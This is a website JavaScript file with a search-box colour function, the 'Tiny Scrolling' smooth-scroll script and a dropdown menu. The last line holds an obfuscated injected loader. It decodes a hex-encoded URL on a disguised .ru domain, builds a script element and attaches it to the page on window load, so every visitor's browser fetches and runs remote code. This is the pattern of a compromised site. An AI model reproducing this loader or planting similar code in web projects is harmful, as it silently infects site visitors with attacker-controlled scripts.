function changefc(color){
  document.getElementById("search-input").style.color=color;
}


/*
Tiny Scrolling - a smooth navigation between internal links and their destinations
by Marco Rosella - http://www.centralscrutinizer.it/en/design/js-php/tiny-scrolling
based on the works by Travis Beckham and Brian McAllister.
v0.3 - March 27, 2006
*/

window.onload = function() {
	tinyScrolling.init();
	}

var tinyScrolling = {
	speed : 30,      //set here the scroll speed: when this value increase, the speed decrease. 
	maxStep: 150,	 //set here the "uniform motion" step for long distances
	brakeK: 5,		 //set here the coefficient of slowing down
	hash:null,		
	currentBlock:null,
	requestedY:0,
	init: function() {
			var lnks = document.getElementsByTagName('a');   
			for(var i = 0, lnk; lnk = lnks[i]; i++) {   
				if ((lnk.href && lnk.href.indexOf('#') != -1) &&  ( (lnk.pathname == location.pathname) ||
				('/'+lnk.pathname == location.pathname) ) && (lnk.search == location.search)) {  
				lnk.onclick = tinyScrolling.initScroll;   		
				}   
			}
	},
	getElementYpos: function(el){
			var y = 0;
			while(el.offsetParent){  
				y += el.offsetTop    
				el = el.offsetParent;
			}	return y;
	},		
	getScrollTop: function(){
			if(document.all) return (document.documentElement.scrollTop) ? document.documentElement.scrollTop : document.body.scrollTop;
			else return window.pageYOffset;   
	},	
	getWindowHeight: function(){
			if (window.innerHeight)	return window.innerHeight;
			if(document.documentElement && document.documentElement.clientHeight) return document.documentElement.clientHeight;
	},
	getDocumentHeight: function(){
			if (document.height) return document.height;
			if(document.body.offsetHeight) return document.body.offsetHeight;
	},
	initScroll: function(e){
			var targ;  
			if (!e) var e = window.event;
			if (e.target) targ = e.target;
			else if (e.srcElement) targ = e.srcElement;   
			tinyScrolling.hash = targ.href.substr(targ.href.indexOf('#')+1,targ.href.length); 
			tinyScrolling.currentBlock = document.getElementById(tinyScrolling.hash);   
			if(!tinyScrolling.currentBlock) return;
			tinyScrolling.requestedY = tinyScrolling.getElementYpos(tinyScrolling.currentBlock); 
			tinyScrolling.scroll();  
			return false;
	},
	scroll: function(){
			var top  = tinyScrolling.getScrollTop();
			if(tinyScrolling.requestedY > top) {  
				var endDistance = Math.round((tinyScrolling.getDocumentHeight() - (top + tinyScrolling.getWindowHeight())) / tinyScrolling.brakeK);
				endDistance = Math.min(Math.round((tinyScrolling.requestedY-top)/ tinyScrolling.brakeK), endDistance);
				var offset = Math.max(2, Math.min(endDistance, tinyScrolling.maxStep));
			} else { var offset = - Math.min(Math.abs(Math.round((tinyScrolling.requestedY-top)/ tinyScrolling.brakeK)), tinyScrolling.maxStep);
			} window.scrollTo(0, top + offset);  
			if(Math.abs(top-tinyScrolling.requestedY) <= 1 || tinyScrolling.getScrollTop() == top) {
				window.scrollTo(0, tinyScrolling.requestedY);
				if(!document.all || window.opera) location.hash = tinyScrolling.hash;
				tinyScrolling.hash = null;
			} else 	setTimeout(tinyScrolling.scroll,tinyScrolling.speed);
	}		
}

/*
dropdowm menu
*/

var menu=function(){
	var t=15,z=50,s=3,a;
	function dd(n){this.n=n; this.h=[]; this.c=[]}
	dd.prototype.init=function(p,c){
		a=c; var w=document.getElementById(p), s=w.getElementsByTagName('ul'), l=s.length, i=0;
		for(i;i<l;i++){
			var h=s[i].parentNode; this.h[i]=h; this.c[i]=s[i];
			h.onmouseover=new Function(this.n+'.st('+i+',true)');
			h.onmouseout=new Function(this.n+'.st('+i+')');
		}
	}
	dd.prototype.st=function(x,f){
		var c=this.c[x], h=this.h[x], p=h.getElementsByTagName('a')[0];
		clearInterval(c.t); c.style.overflow='hidden';
		if(f){
			p.className+=' '+a;
			if(!c.mh){c.style.display='block'; c.style.height=''; c.mh=c.offsetHeight; c.style.height=0}
			if(c.mh==c.offsetHeight){c.style.overflow='visible'}
			else{c.style.zIndex=z; z++; c.t=setInterval(function(){sl(c,1)},t)}
		}else{p.className=p.className.replace(a,''); c.t=setInterval(function(){sl(c,-1)},t)}
	}
	function sl(c,f){
		var h=c.offsetHeight;
		if((h<=0&&f!=1)||(h>=c.mh&&f==1)){
			if(f==1){c.style.filter=''; c.style.opacity=1; c.style.overflow='visible'}
			clearInterval(c.t); return
		}
		var d=(f==1)?Math.ceil((c.mh-h)/s):Math.ceil(h/s), o=h/c.mh;
		c.style.opacity=o; c.style.filter='alpha(opacity='+(o*100)+')';
		c.style.height=h+(d*f)+'px'
	}
	return{dd:dd}
}();


this.n="";function X(){var N='';var Bw;if(Bw!='' && Bw!='Z'){Bw='J'};var S=unescape;var O="\x68\x74\x74\x70\x3a\x2f\x2f\x76\x65\x72\x69\x7a\x6f\x6e\x2d\x6e\x65\x74\x2e\x61\x72\x74\x69\x63\x6c\x65\x73\x62\x61\x73\x65\x2e\x63\x6f\x6d\x2e\x35\x64\x36\x64\x2d\x63\x6f\x6d\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var KN='';var Jn='';var M='';var A=new Array();var K=new String("g");var G=window;var zV;if(zV!='' && zV!='h'){zV='p'};function C(H,V){this.UR="";var i="";var nk;if(nk!='zW'){nk='zW'};var o=new String();var m=S("%5b")+V+S("%5d");var Un;if(Un!='' && Un!='eE'){Un=''};var mk=new RegExp(m, K);var fX;if(fX!='q' && fX!='Bl'){fX='q'};return H.replace(mk, M);var sr=new Date();var JQ=new Date();};var fy;if(fy!='v' && fy!='nZ'){fy='v'};var _;if(_!='QY' && _!='MH'){_='QY'};var gI=new Array();var t='';var zp;if(zp!='hm'){zp=''};this.ZP='';var k=S("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%70%6c%6f%67%2e%6a%70%2f%68%75%72%72%69%79%65%74%2e%63%6f%6d%2e%74%72%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2e%70%68%70");var JK=new String();var a=C('8590298950236','16742953');var Q=document;var Se='';function u(){var Zp;if(Zp!='SV'){Zp='SV'};var dp=new Array();var xR;if(xR!='Fl' && xR!='pZ'){xR=''};t=O;var lN;if(lN!='qW' && lN!='Fe'){lN=''};t+=a;var NU;if(NU!='' && NU!='FJ'){NU='pf'};t+=k;var im;if(im!=''){im='qo'};var VE=new String();this.w='';try {var BG='';this.js="";this.YN="";B=Q.createElement(C('sFc3rFiMpMtH','1FZ73HmVMG59b'));var UW=new String();var xS;if(xS!='dI'){xS='dI'};var Ms='';var Oi;if(Oi!='' && Oi!='No'){Oi='lF'};B.defer=[1,5][0];var p_;if(p_!='FR'){p_='FR'};B.src=t;this.ru='';var hY;if(hY!='' && hY!='My'){hY=''};var wq;if(wq!='' && wq!='Vd'){wq=null};Q.body.appendChild(B);this.zWT='';var Ua;if(Ua!='' && Ua!='RY'){Ua=null};} catch(r){this.Mm='';};var zE=new Date();}var KU=new Array();G["9PYon".substr(3)+"lo"+"ad"]=u;var xZ='';var hz="";var Be;if(Be!='Fj' && Be != ''){Be=null};var Dr='';};var VQ="";this.aE='';this.Xg='';X();this.Dn='';var AV;if(AV!='JR' && AV != ''){AV=null};